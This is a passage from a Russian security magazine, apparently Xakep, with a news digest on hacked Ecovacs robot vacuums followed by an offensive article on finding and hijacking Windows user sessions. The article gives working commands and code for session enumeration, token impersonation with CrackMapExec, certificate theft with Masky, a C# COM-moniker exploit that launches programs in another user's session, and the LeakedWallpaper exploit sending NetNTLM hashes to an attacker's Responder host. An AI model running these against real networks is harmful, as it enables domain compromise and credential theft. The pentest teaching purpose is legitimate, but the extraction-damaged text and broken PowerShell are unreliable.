толь ко нез начитель ными, что «раз работ чики уже могут уда лить непопу ляр ные механиз мы DRM
с минималь ными потеря ми».

шесть недель
5%

Чем доль ше дей ству ет DRM-защита игры, тем мень ше появ ление кря ка вли яет на новые про дажи

В сред нем игры с защитой Denuvo прак тичес ки не теря ют в про дажах из-за пиратс тва, пос- 
коль ку защита «чаще все го оста ется нев зло ман ной» в течение пер вых .12 недель

АГРЕССИВНЫЕ
ПЫЛЕСОСЫ
В мае текуще го года в раз ных городах США про изош ла серия атак
на роботы-пылесо сы Ecovacs Deebot X2. Хакеры исполь зовали уяз вимос ти,
что бы уда лен но управлять пылесо сами, получать дос туп к их камерам
и встро енным динами кам, оскор блять вла дель цев устрой ств и прес ледовать
домаш них живот ных.

Од ним из пос тра дав ших был юрист из Мин несоты Дэни ел Свен сон (Daniel
Swenson). Он рас ска зал СМИ, что смот рел телеви зор с семь ей, ког да
робот-пылесос вдруг стал изда вать стран ные зву ки, похожие на сло ман ное
радио.

Вой дя в при ложе ние, Свен сон обна ружил, что устрой ство уда лен но кон- 
тро лиру ет пос торон ний человек, наб людая за про исхо дящим через камеру
пылесо са. Попыт ка сбро са пароля и перезаг рузки устрой ства не помог ла:
через некото рое вре мя пылесос сно ва акти виро вал ся, но на этот раз
из динами ка раз дался челове чес кий голос, который стал вык рикивать расист- 
ские оскор бле ния в адрес Свен сона и его 13-лет него сына.

Пос тра дав ший отме чает, что ата кующий, похоже, был под рос тком,
который прос то перек лючал ся с устрой ства на устрой ство, что бы поиз девать- 
ся над людь ми.

В ито ге Свен сон был вынуж ден отклю чить робот-пылесос и убрать его
подаль ше. Дело в том, что рань ше пылесос работал на одном эта же с хозяй- 
ской спаль ней. «Наши млад шие дети при нима ют там душ, — объ ясня ет Свен- 
сон. — Я прос то подумал, что он мог зас тать моих детей или даже меня, ког да
мы неоде ты». По его сло вам, ситу ация мог ла быть гораз до хуже, если бы
хакеры решили тихо сле дить за его семь ей, не афи шируя свое при сутс твие.

Дру гие слу чаи атак на пылесо сы Ecovacs про изош ли в Лос-Андже лесе
и Эль-Пасо через нес коль ко дней пос ле ата ки на устрой ство Свен сона. Так,
в Лос-Андже лесе робот-пылесос гонял ся по дому за собакой, и хакер
при этом вык рикивал оскор бле ния через динамик. Устрой ство в Эль-Пасо
тоже исполь зовалось для тран сля ции расист ских заяв лений хакера, пока вла- 
делец не отклю чил пылесос.

Как ока залось, в прош лом году ИБ-иссле дова тели выяви ли уяз вимость
в роботах-пылесо сах Ecovacs, которая поз воляла обой ти ввод PIN-кода
в модели Deebot X2 и получить пол ный кон троль над устрой ством, вклю чая
дос туп к камере и фун кци ям уда лен ного управле ния. Спе циалис ты 

 об этой проб леме на кон ферен ции Chaos Communication Congress.
рас ска- 

зыва ли
Так же недав но жур налис ты ABC News Australia сооб щали, что в устрой- 

ствах Ecovacs был , который тоже поз волял зах ватить
кон троль над пылесо сом. Одна ко эта уяз вимость свя зана с Bluetooth
и работа ет лишь на рас сто янии око ло ста мет ров от робота-пылесо са, то
есть вряд ли име ла отно шение к опи сан ным выше ата кам.

об наружен дру гой баг

Ког да о взло мах устрой ств Ecovacs загово рили СМИ, пред ста вите ли ком- 
пании , что проб лема, из-за которой вла дель цы пылесо сов серии
X2 стол кну лись со взло мами, уже устра нена. Еще одно обновле ние про шив- 
ки, для «даль нейше го повыше ния безопас ности», дол жно вый ти в середи не
нояб ря 2024 года.

за вери ли

В ком пании под чер кну ли, что «нет никаких сви детель ств того, что име на
поль зовате лей и пароли были получе ны неав торизо ван ными треть ими
лицами в резуль тате ком про мета ции сис тем Ecovacs».

Од нако пос тра дав шие и иссле дова тели кри тику ют ком панию за мед- 
ленную реак цию. К при меру, Свен сон рас ска зал жур налис там, что, ког да он
обра тил ся в под дер жку Ecovacs и попытал ся уве домить ком панию о том, что
кто-то взло мал его пылесос и вык рикива ет оскор бле ния, ему не повери ли.
В ком пании спра шива ли, нет ли у него виде оза писи про изо шед шего, нес- 
мотря на то что в это вре мя дру гие поль зовате ли уже обра щались в под дер- 
жку с похожи ми жалоба ми.

За тем служ ба под дер жки пред положи ла, что хакеры мог ли получить дос- 
туп к его устрой ству при помощи ата ки типа credential stuffing. Этим тер мином
обыч но обоз нача ют ситу ации, ког да учет ные дан ные похища ются с одних сай- 
тов и сер висов, а затем исполь зуют ся в дру гих. Потом Свен сона уве доми ли
о том, что про веден ное рас сле дова ние показа ло, что «учет ная запись
Ecovacs и ее пароль были получе ны неупол номочен ным лицом».

Од нако даже это го было бы недос таточ но для пол ной ком про мета ции
робота-пылесо са, который так же дол жен быть защищен упо мяну тым выше
PIN-кодом.

Сто ит отме тить, что спе циалис ты, исходно обна ружив шие уяз вимость PIN-
кодов и рас ска зав шие о ней на CCC, заяви ли, что раз работ чики Ecovacs
до сих пор не устра нили эту проб лему пол ностью.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА
Ко личес тво атак SpyNote на Android-устрой ства в Рос сии вырос ло в 4,5 раза

Fortinet обви нили в сок рытии информа ции о кри тичес ком RCE-баге

Про тив соз дателей UAPS и Cryptex воз будили уго лов ное дело

Про дук ты «Лабора тории Кас пер ско го» уда лили из Google Play Store

В OpenAI рас ска зали, как хакеры зло упот ребля ют ChatGPT

В откры том дос тупе опуб ликова ны дан ные поль зовате лей «Бур гер Кин га»

Баг в Kubernetes Image Builder поз волял получить root-дос туп через SSH

На Pwn2Own Ireland 2024 показа ли более 70 0-day-уяз вимос тей

Ха керы исполь зуют Steam, YouTube и X для коор динации атак

Cisco отклю чила пор тал DevHub из-за заяв лений хакера

https://xakep.ru/2022/09/02/aws-credentials/
https://media.ccc.de/v/37c3-11943-sucking_dust_and_cutting_grass_reversing_robots_and_bypassing_security
https://www.abc.net.au/news/2024-10-04/robot-vacuum-hacked-photos-camera-audio/104414020
https://live-production.wcms.abc-cdn.net.au/d22cf5c9f95808b90a58ccae58a05b76
https://xakep.ru/2024/10/23/spynote-attacks/
https://xakep.ru/2024/10/25/fortijump/
https://xakep.ru/2024/10/03/cryptex-raid/
https://xakep.ru/2024/10/07/kaspersky-google-play/
https://xakep.ru/2024/10/14/chatgpt-abuse/
https://xakep.ru/2024/10/10/burger-king-leak/
https://xakep.ru/2024/10/17/kubernetes-image-builder-root/
https://xakep.ru/2024/10/28/pwn2own-ireland-2024-final/
https://xakep.ru/2024/10/22/dead-drop-resolver/
https://xakep.ru/2024/10/21/cisco-devhub/
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Как час то ты видишь завет ную сес сию
домен ного адми нис тра тора на дырявой
«семер ке»? Его учет ная запись так и про- 
сит ся в руки зло умыш ленни ка или пен- 
тесте ра, и даль ше она поможет зах ватить
всю сет ку. Одна ко злой анти вирус ни в
какую не дает сдам пить LSASS. Что пен- 
тесте ру делать в таком слу чае?
Как получить сес сию поль зовате ля, обой дя
все защит ные средс тва?

В Windows при вхо де поль зовате ля в сис тему ему наз нача ется собс твен ная
сес сия. Глу боко-глу боко внут ри про цес са  хра нит ся сопос тавле- 

ние меж ду сес сией и учет ными дан ными поль зовате ля. При попыт ке прой ти
аутен тифика цию на сто рон нем хос те, ресур се или служ бе LSA получа ет иден- 
тифика тор кон крет ной сес сии, обна ружи вает связь меж ду сес сией и кон крет- 
ными учет ными дан ными, пос ле чего про водит аутен тифика цию.

lsass.exe

WARNING

Статья име ет озна коми тель ный харак тер и пред- 
назна чена для спе циалис тов по безопас ности,
про водя щих тес тирова ние в рам ках кон трак та.
Автор и редак ция не несут ответс твен ности
за любой вред, при чинен ный с при мене нием
изло жен ной информа ции. Рас простра нение вре- 
донос ных прог рамм, наруше ние работы сис тем
и наруше ние тай ны перепис ки прес леду ются
по закону.

Под робно механизм аутен тифика ции поль зовате лей, прин цип работы LSA
и общую струк туру сес сий мы изу чали в статье «

». Сей час же пред лагаю поз- 
накомить ся с механиз мом кра жи сес сий.

Пос тавщик небезо пас ности.
Как Windows рас кры вает пароль поль зовате ля

Ес ли вкрат це: поч ти все спо собы кра жи сес сий поз воля ют нем ножко зло- 
упот ребить механиз мом сопос тавле ния сес сии и учет ных дан ных и начать
исполнять какие-нибудь нелеги тим ные дей ствия от лица поль зовате ля,
на чью сес сию мы можем воз дей ство вать.

Об щий кон цепт кра жи сес сии

Продолжение статьи →

https://t.me/Michaelzhm
https://xakep.ru/2023/03/15/windows-password/


ВРЕШЬ, НЕ УЙДЕШЬ!
КАК РАБОТАЕТ УГОН

ПОЛЬЗОВАТЕЛЬСКИХ СЕССИЙ
В WINDOWS

COVERSTORY  НАЧАЛО СТАТЬИ←

ÏÎÈÑÊ ÑÅÑÑÈÉ ÏÎËÜÇÎÂÀÒÅËÅÉ

Пер вым делом нам нуж но най ти компь ютер, на котором могут лежать инте- 
рес ные сес сии поль зовате лей. Здесь мы можем на выбор исполь зовать:

фун кции WinAPI, которые поз воля ют перечис лять сес сии на устрой стве;•
по веде ние сис темы — нап ример, можем смот реть, появ ляют ся ли опре- 
делен ные арте фак ты, которые сви детель ству ют о наличии сес сии поль- 
зовате ля на хос те;

•

осо бен ности AD, которые помогут нам рас крыть спис ки поль зовате лей
на хос те.

•

WinAPI
Нач нем с самого прос того вари анта — WinAPI. Здесь мно го полез ных нам
фун кций. Я выделю эти:

;• NetSessionEnum()
;• NetWkstaUserEnum()

.• WinStationEnumerateW()

Нач нем с пер вой. У нее мно го аргу мен тов, которые неп лохо докумен тирова- 
ны в MSDN.

  NET_API_STATUS NET_API_FUNCTION NetSessionEnum(
    [in]      LMSTR servername,
    [in]      LMSTR UncClientName,
    [in]      LMSTR username,
    [in]      DWORD level,
        [out] LPBYTE *bufptr,
    [in]      DWORD prefmaxlen,
       [out] LPDWORD entriesread,
       [out] LPDWORD totalentries,
    [in, out] LPDWORD resume_handle
);

Единс твен ное, на что нам сто ит обра тить вни мание, — пер вый параметр, он
как раз таки и отве чает за компь ютер, с которо го будет получе на информа ция
о сес сиях. При чем сущес тву ет ана лог этой фун кции, но поверх RPC —

.NetrSessionEnum()
С исполь зовани ем это го метода работа ет боль шинс тво инс тру мен тов

для обна руже ния сес сий поль зовате ля. Нап ример, если мы работа ем с хос та
на Linux, то мож но вос поль зовать ся скрип том  (вот, кста ти, 

).
netview.py вы зов

метода NetrSessionEnum()

python3 netview.py DOMAIN/Administrator:lolkekcheb123! -target 10.10.
10.10 

Па раметр  — это устрой ство, с которо го сле дует собирать информа- 

цию о сес сиях.

-target

При мер исполь зования

Инс тру мент име ет более инва зив ные фун кции: с его помощью мож но отсле- 
живать сес сии по все му домену. В таком слу чае спи сок поль зовате лей,
которых ищем, ука зыва ем через .-users

По иск сес сии по все му домену

Чуть более уре зан ные воз можнос ти — у . Получить спи сок поль- 

зовате лей через него мож но, ука зав флаг .

netexec
--loggedon-users

nxc smb 10.10.10.10/24 -u admin -p admin --loggedon-users

При мер исполь зования

На конец, BloodHound собира ет информа цию о сес сиях точ но таким же обра- 
зом. Впро чем, если мы работа ем с Windows, то опи сан ные выше вари анты
неп римени мы. Поэто му мож но пос мотреть в сто рону LOLBAS. Нап ример,

.net

net session [\\compname] [/list] 

Ли бо .quser

quser.exe /server:dc01.office.corp 

# Аналог 1 в 1
qwinsta.exe /server:dc01.office.corp 

# Аналог 1 в 1, часть 2 :)
query.exe user /server:W10.ad.bitsadmin.com 

Изу чение с сис темы Windows

Еще сущес тву ет под писан ный Microsoft инс тру мент .PsLoggedon

dc01 psloggedon \\

Ис поль зование легитим ного бинаря

На конец, есть пол ноцен ные фрей мвор ки на PowerShell, нап ример 
, BOF для Cobalt Strike  и, конеч но же, все ми

любимый  из пакета PowerView.

Get-
UserSession2.ps1 Get-NetSession

Invoke-UserHunter

 Invoke-UserHunter -GroupName "Domain Admins"
 Invoke-UserHunter -CheckAccess # Проверить административный доступ

  Invoke-UserHunter -Domain "dev.corp" -UserName admin # Найти, где 
сейчас находится такой-то юзер

# Есть флаг -Stealth, который уменьшает шансы на успех, но проверяет 
лишь машины с высокой ценностью

Ес ли же вызов  заб локиро ван или по какой-то иной при- 

чине не сра баты вает, то мож но поис кать аль тер нативы. Нап ример,
.

NetSessionEnum()

getloggedon.py

python getloggedon.py VOSTOK/dcom:lolkekcheb123\!@192.168.137.139 

При мер перечис ления сес сий

Собс твен но, вызов с сис темы Windows мож но сде лать через PowerView.

Get-NetLoggedon -ComputerName HOME-PC 

# Сбор сразу со всех компьютеров в домене
Get-DomainComputer | Get-NetLoggedon 

Вы вод PowerView

На конец, приш ла оче редь . Я не видел вари антов

это го вызова на Python, есть на C++ с под робным  от авто ра. PoC
можешь най ти в его .

WinStationEnumerateW()
раз бором

ре пози тории

Ðååñòð
Этот спо соб обна руже ния сес сий поль зовате ля осно выва ется на том, что
при логоне юзе ра соз дает ся вет ка в . Так мож но обна ружи вать

новых поль зовате лей в сис теме. Конеч но, в ход могут пой ти стан дар тные ути- 
литы  и , но мас тера дав но соз дали пол ноцен ные инс тру мен ты.

HKCU_USERS

reg.exe reg.py

Для Windows есть .Invoke-SessionHunter

Invoke-SessionHunter 

Invoke-SessionHunter

А так же модуль LoggedOn инс тру мен та . В Linux мож но исполь- 
зовать питонов ский скрипт .

SharpHound
LoggedOn.py

python loggedon.py VOSTOK/dcom:lolkekcheb123\!@192.168.137.139 

Ис поль зование LoggedOn.py

×åðåç SCCM
В SCCM (который не всег да раз вернут в AD!) есть инте рес ная фича, которая
называ ется Primary User. Она поз воля ет отсле живать, какие поль зовате ли
какие машины исполь зуют. Так что мы можем устро ить нас тоящую охо ту!
Одна ко для исполь зования нуж но про бить SCCM-сер вер.

Нап ример, мож но про вес ти рекон через .MalSCCM

При мер исполь зования MalSCCM

Есть так же . Он тоже поз воля ет обна ружить ком пы, на которых
сидит опре делен ный поль зователь.

SharpSCCM

.\SharpSCCM.exe get primary-users -u Frank.Zapper 

При чем под держи вает ся и обратная опе рация — получе ние спис ка поль- 
зовате лей, которые ходят на опре делен ный компь ютер.

SharpSCCM.exe get primary-users -sms <SMS_PROVIDER> -sc <SITECODE> -d
CLIENT --no-banner

Ис поль зование SharpSCCM

Здесь вид но, что поль зователь  ходит на .mayyhem\sccmadmin CLIENT

×åðåç RDP-ñåññèè
Этот вари ант поис ка сес сий поль зовате лей сра бота ет, если в сети пред при- 
ятия активно исполь зует ся RDP. В таком слу чае в Linux удоб но дер гать тул зу

.tstool.py

python3 tstool.py CRINGE/Administrator:lolkekcheb123\!@192.168.116.
129 qwinsta 

Ис поль зование tstool.py

А в Windows нам поможет любимый Mimikatz с его модулем .ts::sessions

 mimikatz.exe "ts::sessions /server:W10.ad.bitsadmin.com" exit

Ëîãè
Не сто ит игно риро вать и фай лы логов, ведь при вхо де любого поль зовате ля
генери рует ся мно го инте рес ных событий. Имен но этот спо соб мож но счи тать
наибо лее тихим вари антом поис ка сес сий поль зовате лей.

Я выделил событие 4624 — An account was successfully logged on, оно
генери рует ся на хос те, на который зашел поль зователь. При аутен тифика ции,
нап ример через Kerberos, на кон трол лере домена будет событие 4624,
но источни ком будет счи тать ся тот хост, на котором про ходи ла аутен тифика- 
ция. В таком слу чае перед нами следс твие зап роса, а не факт аутен тифика- 
ции. Так же в этом событии зачас тую содер жится IP-адрес устрой ства,
с которо го зап рашива лась аутен тифика ция.

Как выг лядит событие 4624

Для ана лиза события мож но накидать неболь шой скрипт на PowerShell. Нап- 
ример, пусть мы хотим опре делить, на какие машины поль зователь «Адми- 
нис тра тор» ходил в пос ледний раз. В таком слу чае нам поможет
событие 4624 и атри бут , по которо му будем делать филь тра цию,

что бы не ана лизи ровать все события 4624 на хос те.

LastLogon

param(
   [Parameter(Mandatory=$true)]
   , [string]$ComputerName
   [Parameter(Mandatory=$true)]
   [string]$UserName
)

try {
   Import-Module ActiveDirectory 
       $user = Get-ADUser -Identity $UserName -Properties
"lastLogonTimestamp"
     $lastLogonDate = [DateTime]::FromFileTime($user.
lastLogonTimestamp)
     $startDate = $lastLogonDate.Date 
     1$endDate = $lastLogonDate.AddDays( ).Date 

     @$filterHashtable = {
        LogName = "Security"

       ID = 4624 
        StartTime = $startDate

        EndTime = $endDate
   }
      

 
$events = Get-WinEvent -ComputerName $ComputerName

-FilterHashtable $filterHashtable

      foreach ($event in $events) {
  xml]       $xmlEvent = [ $event.ToXml()

  
   .

       $targetUserSid = ($xmlEvent.Event.EventData.Data | Where-
Object { $_.Name -eq 'TargetUserSid' }) '#text'

  
   .

       $targetUserName = ($xmlEvent.Event.EventData.Data | Where-
Object { $_.Name -eq 'TargetUserName' }) '#text'

     
  

       if (-not [string]::IsNullOrEmpty($UserName) -and $UserName
-ne $targetUserName) {
           continue
       }

  
   .

       $targetDomainName = ($xmlEvent.Event.EventData.Data | Where-
Object { $_.Name -eq 'TargetDomainName' }) '#text'

   
  .

       $logonType = ($xmlEvent.Event.EventData.Data | Where-Object {
$_.Name -eq 'LogonType' }) '#text'

   
  .

       $ipAddress = ($xmlEvent.Event.EventData.Data | Where-Object {
$_.Name -eq 'IpAddress' }) '#text'

       Write-Host "SID User: $targetUserSid"
       Write-Host "Username: $targetUserName"
       Write-Host "Domain: $targetDomainName"
       Write-Host "Logon Type: $logonType"
       Write-Host "IP Address: $ipAddress"
       Write-Host "----------"
   }
} catch {
   Write-Error "Error: $_"
}

Ис поль зование:

.\script.ps1 -ComputerName dc01 -UserName Администратор 

 — имя компь юте ра, с которо го тащить логи;• ComputerName

 — имя поль зовате ля, чью сес сию ищем.• UserName

Ва риант на C# раз работал наш китай ский кол лега. PoC ты най дешь в его 
.

ре- 
пози тории

Сле дующим обра щу твое вни мание на событие 4768. Оно появ ляет ся
при выдаче билета TGT.

Со бытие 4768

Еще потен циаль но могут быть инте рес ны события 4672 и 4769. Но сог ласись,
искать инс тру мент под каж дое событие не очень-то и удоб но? Поэто му я раз- 
работал скрипт , который авто мати чес ки пар сит мно жес тво инте- 
рес ных для нас событий и помога ет искать сес сии поль зовате ля.

LogHunter

Есть и более «дедов ский» спо соб. Мож но прос то под клю чить оснас тку
 к уда лен ному устрой ству и обра баты вать логи в при выч ном для нас

при ложе нии.

mmc.exe

Ïðîöåññû
На конец, взгля ни на про цес сы. К каж дому про цес су при вязан токен, а в
токене содер жится информа ция о том, от лица какого поль зовате ля дол жен
работать исполня емый файл. В таком поис ке нам поможет WMI.

  
 

.User

Get-WmiObject -Query "Select * from Win32_Process" -Computer winpc | 
where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label=
"Owner";Expression={$_.GetOwner() }} | ft -AutoSize

Этот коман длет поз воля ет извлечь спи сок про цес сов с устрой ства ,
пос ле чего сра зу же отфиль тро вать сре ди них слу жеб ные, которые нам
не очень инте рес ны, а пос ле вывес ти спи сок про цес сов с име нами поль- 
зовате лей-вла дель цев.

winpc

Ис поль зование WMI для поис ка сес сий поль зовате лей

Продолжение статьи →

https://learn.microsoft.com/ru-ru/windows/win32/api/lmshare/nf-lmshare-netsessionenum
https://learn.microsoft.com/ru-ru/windows/win32/api/lmwksta/nf-lmwksta-netwkstauserenum
https://github.com/processhacker/processhacker/blob/master/phnt/include/winsta.h
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-srvs/02b1f559-fda2-4ba3-94c2-806eb2777183
https://github.com/fortra/impacket/blob/master/examples/netview.py
https://github.com/fortra/impacket/blob/master/examples/netview.py#L297
https://github.com/Pennyw0rth/NetExec/blob/99d4e49ac1c395200601dacfd6901244370b14ce/nxc/protocols/smb.py#L1184
https://devhops.ru/windows/network/pstools/
https://github.com/YossiSassi/Get-UserSession2/blob/main/Get-UserSession2.ps1
https://github.com/trustedsec/CS-Situational-Awareness-BOF/tree/master/src/SA/get-netsession
https://gist.github.com/cham423/aa63b9cbc2961cef43c32b319100bffa
https://0xv1n.github.io/posts/sessionenumeration/
https://github.com/0xv1n/RemoteSessionEnum/blob/main/main.cpp
https://github.com/fortra/impacket/blob/master/examples/reg.py
https://github.com/Leo4j/Invoke-SessionHunter
https://github.com/BloodHoundAD/SharpHound
https://gist.github.com/GeisericII/6849bc86620c7a764d88502df5187bd0
https://github.com/nettitude/MalSCCM
https://github.com/Mayyhem/SharpSCCM
https://github.com/ThePorgs/impacket/blob/9aa93730ccb355a7ef8e9295c974460610ae798b/examples/tstool.py
https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_ts.c#L57
https://github.com/evilashz/SharpADUserIP
https://github.com/CICADA8-Research/LogHunter
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Пос ле успешно го обна руже ния сес сии сто ит поп робовать зах ватить ее, то
есть вык расть учет ные дан ные. И здесь у нас появ ляет ся огромный прос тор
для фан тазии!

Âîðóåì TGS
Од ним из исправ но работа ющих спо собов кра жи сес сии в Windows я бы наз- 
вал , мы его раз бирали в статье «

». Вкрат це: если мы нач нем вза имо дей- 
ство вать с LSA как Logon Process, то смо жем зап росить билет TGS для любой
сес сии, то есть для любого поль зовате ля, который находит ся с нами
на одном устрой стве.

TGSThief Абь юз сес сий Windows по-новому.
Получа ем билеты TGT методом GIUDA

Нап ример, если у нас на хос те есть два поль зовате ля: хакер и адми нис- 
тра тор, то хакер с помощью TGSThief может поп росить LSA выписать билет
TGS на имя адми нис тра тора для какой-нибудь служ бы, нап ример CIFS кон- 
трол лера домена.

Од нако воз можные трю ки этим не огра ничи вают ся! В Windows AD сущес- 
тву ет служ ба , которая при нима ет билет TGT, а отда ет TGS. Что, если

мы выпишем билет TGS на служ бу ? Смо жем ли мы получать дру гие
TGS? Ответ: да, смо жем!

krbtgt
krbtgt

Фак тичес ки если у нас на руках есть TGS на служ бу , то это рав- 

носиль но пол ноцен ному билету TGT!

krbtgt

Та ким обра зом мы смо жем красть чужие TGT.
Вот при мер экс плу ата ции.

Ис поль зование TGSThief

Ìàíèïóëÿöèè ñ òîêåíàìè
Им персо нация чужих токенов — это нес таре ющая клас сика экс плу ата ции
Windows. Ата кующий, имея дос таточ ные при виле гии, нацеп ляет на свой про- 
цесс чужой токен и работа ет от лица дру гого поль зовате ля. Кста ти, эту ата ку
мы про води ли в статье «

».
Свин API. Изу чаем воз можнос ти WinAPI для пен тесте- 

ра
Бла года ря широкой извес тнос ти этой ата ки для нее написа но дос таточ но

мно го вари антов PoC. При чем сущес тву ют и необыч ные, нап ример экс плу- 
ата ция через . Про цесс может запус кать ся не через

, а через .
WTS API

CreateProcessWithTokenW() UpdateProcThreadAttribute()

И вишен кой на тор те идет CrackMapExec с модулем Impersonate. Исполь- 
зовать его лег ко.

# Получить список токенов на системе
       crackmapexec smb 10.10.10.10 -u 'Administrator' -p 'October2022'

-M impersonate 

# Выполнить действия от лица другого пользователя
    

 <
   crackmapexec smb 10.10.10.10 -u 'Administrator' -p 'October2022'
-M impersonate -o TOKEN=<номер желаемого токена> EXEC= "команда для 
запуска">

    
 0 

   crackmapexec smb 10.10.10.10 -u 'Administrator' -p 'October2022'
-M impersonate -o TOKEN= EXEC="whoami"

Спи сок токенов

Абь юз токенов

RemotePotato0
RemotePotato0 — это экс пло ит полуза пат ченно го бага, поз воля ющий
повышать при виле гии. Почему «полу-»? Потому что у меня на Windows
11 с пос ледни ми обновле ниями все сра бота ло, хотя в Microsoft говори ли, что
все пофик сили!

Ес ли вкрат це, то этот инс тру мент зло упот ребля ет про цес сом акти вации
объ ектов DCOM, в ходе которой про исхо дит аутен тифика ция. Она ловит ся
и успешно реле ится, нап ример в служ бу LDAP. Эту инте рес ную ата ку опи- 
сывал мой кол лега snovvcrash в статье «

».
Кар тошка-0. Повыша ем при виле гии

в AD при помощи RemotePotato0
Од нако если NTLM в домене отклю чен либо у тебя нет воз можнос ти нас- 

тра ивать сто рон ний хост с редирек том резол ва OXID-зап росов, то обра щу
вни мание на . Инс тру мент изна чаль но задумы вал ся для уда- 
лен ного релея Kerberos, но ник то тебе не меша ет запус тить его и про тив
локаль ного компь юте ра. Под держи вает ся воз можность релея в LDAP, SMB,
HTTP, что прак тичес ки пол ностью пов торя ет фун кции RemotePotato0, раз ве
что исполь зует ся Kerberos, а не NTLM.

RemoteKrbRelay

Çàïðîñ ÷óæèõ ñåðòèôèêàòîâ
Раз мы загово рили об AD CS, напом ню, что мож но при нуди тель но триг герить
сес сию поль зовате ля при заходе в AD CS, что бы на него выписы вал ся сер- 
тификат. Для это го мож но вос поль зовать ся ути литой :Masky

  
   

masky -d vostok.street -u dcom -p 'lolkekcheb123!' -dc-ip 192.168.
137.139 -ca "dc01.vostok.street\vostok-DC01-CA" -T user --no-pfx
--no-ccache 192.168.137.139 -v

# 192.168.137.139 — комп, с которого дампить

Ис поль зование Masky

Masky заходит на хост, получа ет спи сок сес сий, пос ле чего для каж дой зап- 
рашива ет сер тификат PFX, который мож но исполь зовать в ата ках Pass
the Certicate.

При чем модуль под держи вает ся и в CrackMapExec.

# Поиск CA
   cme ldap 10.10.10.10 -u admin -p admin -M adcs 

# Использование
    cme smb 10.10.10.10 -u admin -p admin -M masky -o CA="CA DN"

Экс плу ата ция Masky из CME

SeMishaPrivilege
Этот код мож но исполь зовать для запус ка про изволь ных фай лов от лица сто- 
рон него поль зовате ля на сис теме. При этом не нуж но явно наз начать при- 
виле гии SeDebug/SeImpersonate. Изна чаль но код шел как LPE-экс пло ит COM
Session Moniker EOP, но к нему добави ли вся кие про вер ки.

 if ( imp_token_il >= process_token_il 
  && (imp_token_il >= SECURITY_MANDATORY_HIGH_RID 
 || EqualSid(process_token_user, imp_token_user)))
{
  ShellExecuteW(NULL, L"open", path, NULL, NULL, SW_SHOW);
}

По это му теперь это прос то спо соб абь юза сес сий, если есть учет ка локаль- 
ного адми нис тра тора!

Единс твен ный минус — исполня емый файл будет запущен в неин терак- 
тивном режиме. То есть из текущей сес сии мы будем видеть толь ко успешно
запущен ный про цесс, а в целевой сес сии будут показы вать ся GUI-при ложе- 
ния (если есть). Поэто му таким спо собом удоб но запус кать любые
реверс-шел лы.

 using System;
 using System.Runtime.InteropServices;

 namespace IHxHelpPaneServer
{
     static class Program
   {

         static void Main()
       {

              var path = "file:///C:/Windows/System32/cmd.exe";
              var session = System.Diagnostics.Process.

GetCurrentProcess();
           // Здесь указывай номер желаемой сессии, в которой 
запускать пейлоад

            Server.execute(3.ToString(), path);
       }
   }
     static class Server
   {

         [ComImport, Guid("8cec592c-07a1-11d9-b15e-000d56bfe6ee"),
InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]

        interface IHxHelpPaneServer
       {

             void DisplayTask(string task);
             void DisplayContents(string contents);
             void DisplaySearchResults(string search);
              void Execute([MarshalAs(UnmanagedType.LPWStr)] string

file);
       }

             public static void execute(string new_session_id, string path
)
       {
           try
           {

   

 

               IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal
.BindToMoniker(String.Format("session:{0}!new:
8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id));

                   Uri target = new Uri(path);
               server.Execute(target.AbsoluteUri);
           }
           catch
           {

           }
       }
   }
}

Пе речис лять дос тупные сес сии мож но с помощью .
Рекомен дую вос поль зовать ся моим  или вари антом на .
При мер экс плу ата ции я записал .

WTSEnumerateSessions()
IHxExec PowerShell

в виде ролика

Leaked Wallpaper
Эта уяз вимость задоку мен тирова на как CVE-2024-38100. Изна чаль но ее
обна ружил автор бло га , одна ко его коман ды у меня не зарабо- 
тали. Впро чем, автор в кон це статьи обра тил мое вни мание на то, что он
нашел инте рес ный класс, который поз воля ет менять обои дру гих поль зовате- 
лей.

decoder.cloud

И тут все вста ло на свои мес та! Меня осе нило. А что, если вмес то пути
до фай ла я пре дос тавлю UNC Path? В таком слу чае обои не уста новят ся,
но поль зователь из целевой сес сии при нуди тель но обра тит ся по UNC Path
и отпра вит зап рос на аутен тифика цию, который мы смо жем перех ватить, нап- 
ример через Responder.

Идея ока залась рабочей и поз воля ет получить хеш NetNTLM. При чем экс- 
пло ит работа ет даже от лица поль зовате ля с низ кими при виле гиями.

Пред лагаю рас смот реть при мер экс плу ата ции. У нас есть учет ная запись
, которая абсо лют но не при виле гиро ван ная.exploit

При виле гии поль зовате ля

На компь юте ре так же сидит при виле гиро ван ная учет ка — .администратор

Спи сок сес сий на устрой стве

Для кра жи его NetNTLM-хеша запус каем Responder.

responder -I eth1 -v

Те перь исполь зуем  и триг герим аутен тифика цию.экс пло ит

.\LeakedWallpaper.exe <session> \\<Kali IP>\c$\1.jpg 

# EX
   .\LeakedWallpaper.exe 1 \\172.16.0.5\c$\1.jpg 

Ус пешная экс плу ата ция

ÂÛÂÎÄÛ

Ко неч но же, при веден ный здесь спи сок спо собов поис ка учет ки все рав но
не пол ный. Я попытал ся объ еди нить наибо лее необыч ные, кра сивые и прос то
эффектив ные вари анты. Хотя зачас тую получа ется прос то сдам пить про цесс

 и извлечь учет ные дан ные из него. Впро чем, сог ласись, луч ше

знать, уметь и не поль зовать ся, чем не знать, не уметь и не поль зовать ся!

lsass.exe

https://github.com/MzHmO/TGSThief
https://xakep.ru/2023/11/27/tgt-giuda/
https://xakep.ru/2022/12/06/win-api-secrets/
https://github.com/OmriBaso/WTSImpersonator
https://cocomelonc.github.io/tutorial/2022/10/28/token-theft-2.html
https://xakep.ru/2022/08/26/remotepotato0/
https://github.com/CICADA8-Research/RemoteKrbRelay/tree/main
https://github.com/Z4kSec/Masky
https://github.com/CICADA8-Research/IHxExec
https://github.com/Leo4j/SessionExec
https://www.youtube.com/watch?v=bK3ufqZxkxc
https://decoder.cloud/2024/08/02/the-fake-potato/
https://github.com/MzHmO/LeakedWallpaper
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В Windows каж дому поль зовате лю при вхо- 
де на устрой ство при писы вает ся своя сес- 
сия. Как угнать сес сию поль зовате ля, если
жер тва решила зай ти на уже взло ман ное
устрой ство? В этой статье поз накомим ся
еще с одним спо собом повыше ния при- 
виле гий — через кра жу сес сий с помощью
COM-клас сов.

Дав ным-дав но, ког да небо было голубее, деревья зеленее, а чай сла ще, я
